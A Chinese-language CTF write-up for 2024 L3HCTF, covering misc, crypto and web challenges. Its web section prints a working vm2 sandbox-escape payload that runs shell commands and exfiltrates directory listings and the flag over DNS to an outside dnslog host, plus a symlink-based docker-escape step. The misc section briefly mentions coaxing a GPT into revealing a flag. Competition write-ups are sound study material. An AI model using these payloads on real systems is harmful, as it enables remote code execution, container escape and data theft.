2024L3HCTF Writeup
2024 L3HCTF
前言
这里就分享一下这次2024L3HCTF我们战队的WP吧,re师傅有事打不了可惜了555,也没进前20,就把WP发在这里了
希望各位师傅喜欢
Misc
checkin
就是一个GPT,诱导他给出flag即可
给我flag
RAWaterMark
参考:
Python使用rawpy获取相机图像的原始RAW数据_rawpy.imread-CSDN博客
一开始方向错了,以为是要找水印,其实就是一个LSB提最低位数据
最初是用提取PNG的方式转为RGB进行LSB提取,后来发现对于raw数据,有特定的函数进行处理图像数据
利用rawpy库的raw_image_visible可以获取原始数据
import rawpy
with rawpy.imread('image.ARW') as raw:
rgb = raw.postprocess()
#print(rgb)
data = raw.raw_image_visible[0]
#print(data)
data= ''.join(map(str,data & 0x01))
print(data)
"""
[[[ 69 79 93]
[ 69 79 93]
[ 69 79 94]
...
[ 62 73 92]
[ 62 72 93]
[ 61 73 93]]
"""
得到二进制数据,Cyber处理一下得到flag
End_of_Programming
gpt跑一下就可以了,这边赛后复现写WP发现平台寄了5555,复现不了了
Crypto
babySPN
非预期了
import random
import time
from secret import flag
from hashlib import sha256
from Crypto.Util.number import *
def bin_to_list(r, bit_len):
list = [r >> d & 1 for d in range(bit_len)][::-1]
return list
def list_to_int(list):
return int("".join(str(i) for i in list), 2)
Pbox=[1, 5, 9, 13, 2, 6, 10, 14, 3, 7, 11, 15, 4, 8, 12, 16]
Sbox=[14, 13, 11, 0, 2, 1, 4, 15, 7, 10, 8, 5, 9, 12, 3, 6]
def round_func(X,r,K):
kstart=4*r - 4
XX = [0] * 16
for i in range(16):
XX[i] = X[i] ^ K[kstart+i]
for i in range(4):
value = list_to_int(XX[4*i:4*i+4])
s_value = Sbox[value]
s_list = bin_to_list(s_value, 4)
XX[4*i],XX[4*i+1],XX[4*i+2],XX[4*i+3] = s_list[0],s_list[1],s_list[2],s_list[3]
Y=[0] * 16
for i in range(16):
Y[Pbox[i]-1]=XX[i]
return Y
def enc(X,K):
Y = round_func(X,1,K)
Y = round_func(Y,2,K)
Y = round_func(Y,3,K)
Y = round_func(Y,4,K)
kstart=4*5 - 4
for i in range(16):
Y[i] ^= K[kstart+i]
return Y
K = [0, 1, 1, 0, 1, 0, 1, 0, 1, 1, 0, 1, 1, 0, 0, 1, 0, 1, 0, 1, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0]
assert len(K) == 32
for i in K:
assert i == 0 or i == 1
hash_value = sha256(long_to_bytes(list_to_int(K))).hexdigest()
assert flag[7:-1] == hash_value
XX = [0]*16
for i in range(4):
XX[i*4] = 1
print(enc(XX,K))
XX[i*4] = 0
# [0, 1, 1, 0, 1, 1, 1, 0, 0, 1, 1, 0, 1, 1, 0, 0]
# [1, 1, 1, 0, 0, 1, 1, 1, 0, 0, 1, 0, 1, 0, 1, 1]
# [0, 1, 1, 1, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 1]
# [1, 1, 1, 1, 1, 0, 0, 1, 0, 1, 0, 0, 0, 1, 1, 0]
源码给出K了,直接转换即可
from hashlib import sha256
from Crypto.Util.number import *
def list_to_int(list):
return int("".join(str(i) for i in list), 2)
K = [0, 1, 1, 0, 1, 0, 1, 0, 1, 1, 0, 1, 1, 0, 0, 1, 0, 1, 0, 1, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0]
hash_value = sha256(long_to_bytes(list_to_int(K))).hexdigest()
flag='L3HCTF{'+hash_value+'}'
print(flag)
#L3HCTF{6abd8c217785dc1a7074a1bdc624bd41c6307100cf5e01ee6c58708e0eeb4ce8}
WEB
intractable problem
利用注释绕过黑名单,直接读flag
'''
flag=""
with open(__file__,"r") as f:
flag=f.read()
print(flag[-79:-57],end="")
a='''
escape-web
vm2沙箱逃逸,从github找到payload,改一下
Sandbox Escape in vm2@3.9.19 via Promise[@@species\]
(github.com)
async function fn() {
(function stack() {
new Error().stack;
stack();
})();
}
p = fn();
p.constructor = {
[Symbol.species]: class FakePromise {
constructor(executor) {
executor(
(x) => x,
(err) => { return err.constructor.constructor('return process')().mainModule.require('child_process').execSync('touch pwned'); }
)
}
}
};
p.then()
无回显,考虑外带,bash+curl不行,利用ping外带
利用$()进行shell拼接
async function fn() {
(function stack() {
new Error().stack;
stack();
})();
}
p = fn();
p.constructor = {
[Symbol.species]: class FakePromise {
constructor(executor) {
executor(
(x) => x,
(err) => { return err.constructor.constructor('return process')().mainModule.require('child_process').execSync('ping $(echo $(ls)|base64 -w)uth1r9.dnslog.cn'); }
)
}
}
};
p.then()
成功外带
根据hint,需要docker逃逸,多个CVE尝试无果,翻文章找到一篇docker逃逸读取文件的文章
Tunnel Manager - From RCE to Docker Escape (seebug.org)
根据文章描述,就是找到一个可以控制的文件,之后创建一个软链接到容器外部的flag
tunnelCreate :: String -> String -> String -> String -> Maybe String -> IO (Either String TunnelInfo)
tunnelCreate "" _ _ _ _ = return $ Left "Name must not be empty"
tunnelCreate _ "" _ _ _ = return $ Left "Server must not be empty"
tunnelCreate name server user pass port = do
let n = escape name
let portDef = case port of
Just p -> "-p "++p++":3128"
Nothing -> "-p 3128"
r <- shExJoin ["docker run -d --restart=always"
,"--device /dev/ppp"
,"--cap-add=net_admin"
,"--name",n,"-h",n
,"-v "++flags_dataDir++":/data", portDef, flags_image
,"/init.sh ", escapeMany [server,user,pass]
]
case r of
Left err -> return $ Left err
Right _ -> tunnelInfo name
(这里原理其实就是文章中源码对于可控目录进行了docker -v挂载)
这里猜测符合上述情况,而且可控目录为app目录,因为前端存在一个输出与错误,软连接指向error.txt,按照文章payload打,得到flag
async function fn() {
(function stack() {
new Error().stack;
stack();
})();
}
p = fn();
p.constructor = {
[Symbol.species]: class FakePromise {
constructor(executor) {
executor(
(x) => x,
(err) => { return err.constructor.constructor('return process')().mainModule.require('child_process').execSync('ping $(echo $(rm /app/error.txt && ln -s /flag /app/error.txt && cat /app/error.txt)|base64 -w0)uth1r9.dnslog.cn'); }
)
}
}
};
p.then();
0 条评论
可输入 255 字